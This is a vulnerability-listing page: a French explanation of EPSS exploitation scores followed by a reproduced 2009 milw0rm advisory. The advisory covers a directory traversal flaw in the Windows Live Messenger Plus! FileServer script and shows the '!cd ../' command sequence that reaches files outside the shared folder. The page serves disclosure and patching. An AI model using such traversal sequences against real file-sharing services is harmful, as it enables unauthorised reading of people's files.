EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

########################################### Windows Live Messenger Plus! FileServer 1.0 ########################################### Found by joepie91 The FileServer script allows a user using Windows Live Messenger Plus! to share a defined folder and its subfolders and files with a contact. Authentication is done using a user-defined username and password. I have found a vulnerability in this script, which allows for downloading of EVERY file on the same disk as the defined folder ("root folder"), even outside the root folder. The script can be found at http://www.msgpluslive.nl/scripts/view/65-FileServer/ The normal procedure is to use !login to log in, !dir to list files, and !cd to select a folder. This is an example of a normal communication: > !login username password < Login succeeded. > !dir < [directory listing goes here] > !cd music < OK > !get music.mp3 < [music.mp3 is sent here] However, when using ../ with the !cd command, you can actually go beyond the root folder. This is an example communication (the root directory is C:\shared\files\): > !login username password < Login succeeded. > !cd ../ < OK > !cd ../ < OK > !cd windows < OK > !dir < [here goes a directory listing of C:\windows] > !get explorer.exe < [client sends back explorer.exe, even though it doesn't have any use] This very basic vulnerability should be patched as soon as possible, to prevent abuse. # milw0rm.com [2009-07-09]
